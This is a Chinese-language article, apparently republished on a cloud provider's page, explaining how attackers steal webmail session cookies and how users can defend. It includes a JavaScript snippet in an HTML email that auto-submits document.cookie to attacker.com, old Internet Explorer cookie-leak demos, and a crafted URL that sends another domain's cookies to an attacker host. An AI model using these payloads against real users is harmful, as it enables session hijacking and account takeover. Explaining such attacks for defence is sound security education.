Webmail攻防實戰(6)

來源:互聯網
上載者:User
web 如果攻擊者能夠擷取使用者WebMail的cookie資訊,那麼就能很容易地侵入使用者的WebMail。攻擊者如何擷取使用者WebMail的cookie資訊呢?如果攻擊者在使用者的電腦上安裝了木馬,或者能夠從網路線路上對使用者進行嗅探偵聽,那麼擷取cookie資訊自然不成問題,不過這並不是我們討論問題的意義所在,因為都能夠這樣了,又何必大費周折去擷取cookie資訊,直接擷取郵箱密碼就是了。

  如果WebMail系統存在跨站指令碼執行漏洞,那麼攻擊者就能欺騙使用者從而輕易地擷取cookie資訊,雖然眾多網站存在此漏洞,但存在此漏洞的WebMail系統還很少見。

  含有惡性指令碼程式的html郵件能使攻擊者擷取WebMail的cookie資訊。Html郵件中的指令碼程式先提取當前WebMail的cookie資訊,然後把它賦值給某個表單元素,再將表單自動認可給攻擊者,攻擊者從而獲得cookie會話資訊。下面是一段示範程式:

<body>
<form method="post" action="http://attacker.com/getcookie.cgi" name="myform">
<input name="session" type="hidden">
</form>

<script language="JavaScript">
var cookie=(document.cookie);
alert(cookie);//這一句用於顯示當前cookie資訊,當然,攻擊者不會這樣做。
document.myform.session.value=cookie;
document.myform.submit();
</script>

  getcookie.cgi是放在攻擊者web伺服器上的一個cgi程式,用於擷取表單提交過來的cookie資訊,並且做記錄或者通知攻擊者。當然,攻擊者會把html郵件、getcookie.cgi程式設計得更隱蔽,更具欺騙性,讓使用者難以察覺。

  通常,瀏覽器根據web伺服器的網域名稱來分別儲存cookie資訊,並且只會把cookie資訊發送給同一網域名稱的web伺服器。不過,瀏覽器的漏洞給攻擊者擷取不同網域名稱的cookie資訊創造了機會,Internet Explorer、Netscape和Mozilla等被廣泛使用的瀏覽器都存在過此類漏洞。下面是幾個Internet Explorer瀏覽器(針對IE5.0、IE5.5或IE6.0)泄漏cookie資訊的例子:

  (1) Html語言中的object元素用於在當前頁面內嵌入外部對象,但Internet Explorer瀏覽器對object元素屬性的處理不當會導致任意域的cookie資訊被泄漏,示範代碼如下:

<object id="data" data="empty.html" type="text/html"></object>
<script>
var ref=document.getElementById("data").object;
ref.location.href="http://www.anydomain.com";
setTimeout("alert(ref.cookie)",5000);
</script>

  (2) Internet Explorer瀏覽器錯誤處理“about”協議使得一個精心構造的URL請求可能會顯示或修改任意域的cookie資訊,例如(以下代碼在同一行):

  about://www.anydomain.com/<script language=JavaScript>alert(document.cookie);</script>

  (3) Internet Explorer瀏覽器會誤把URL中“%20”(空格符的URL編碼)字串之前的主機名稱當做cookie資訊所在的域,並且發送出去。假設攻擊者有一個網域名稱“attacker.com”,攻擊者把它做成泛網域名稱解析,即把“*.attacker.com”指向攻擊者web伺服器所在的IP地址,“attacker.com”下的任何子網域名稱或主機名稱都會被解析成這個IP地址,當使用者提交了類似下面這樣的URL後,瀏覽器就會把“anydomain.com”網域名稱的cookie資訊發送給攻擊者:

  http://anydomain.com%20.attacker.com/getcookie.cgi

  如果攻擊者要擷取WebMail的臨時型cookie資訊,就會在html郵件中寫入相應的代碼,在使用者瀏覽郵件時,該代碼自動執行,使得攻擊者能夠擷取當前瀏覽器裡的臨時cookie資訊,也可以把用於擷取cookie資訊的URL發送給使用者,誘騙使用者開啟該URL,這樣攻擊者也能擷取臨時cookie資訊。

  在攻擊者擷取cookie資訊後,如果cookie資訊裡含有密碼等敏感資訊,那麼攻擊者就能很輕易地侵入使用者的郵箱,雖然hotmail等WebMail系統曾經發生過此類的情況,但cookie資訊洩漏敏感資訊的WebMail系統還很少見。

  攻擊者在擷取cookie資訊之後,還要讓此cookie資訊由瀏覽器來存取從而與WebMail系統建立會話,這樣才能侵入使用者的WebMail。如果是持久型cookie資訊,攻擊者所要做的是把這個資訊複製到自己的cookie檔案中去,由瀏覽器存取該cookie資訊從而與WebMail系統建立會話,不過臨時cookie資訊儲存在記憶體中,並不容易讓瀏覽器存取。

  為了讓瀏覽器存取臨時cookie資訊,攻擊者可以編輯記憶體中的cookie資訊,或者修改公開原始碼的瀏覽器,讓瀏覽器能夠編輯cookie資訊,不過這樣都不是很簡便的方法,簡便的方法是使用Achilles程式(packetstormsecurity.org網站有下載)。Achilles是一個httpProxy 伺服器,能夠載取瀏覽器和web伺服器間的http會話資訊,並且在代理轉寄資料之前可以編輯http會話以及臨時cookie資訊。

  WebMail系統應該避免使用持久型cookie會話跟蹤,使攻擊者在cookie會話攻擊上不能輕易得逞。為了防止cookie會話攻擊,使用者可以採取如下措施以加強安全:

  (1) 設定瀏覽器的cookie安全層級,阻止所有cookie或者只接受某幾個域的cookie。

  (2) 使用cookie管理工具,增強系統cookie安全,如Cookie Pal、Burnt Cookies等。

  (3) 及時給瀏覽器打補丁,防止cookie資訊洩漏。

相關文章

Beyond APAC's No.1 Cloud

19.6% IaaS Market Share in Asia Pacific - Gartner IT Service report, 2018

Learn more >

Apsara Conference 2019

The Rise of Data Intelligence, September 25th - 27th, Hangzhou, China

Learn more >

Alibaba Cloud Free Trial

Learn and experience the power of Alibaba Cloud with a free trial worth $300-1200 USD

Learn more >

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。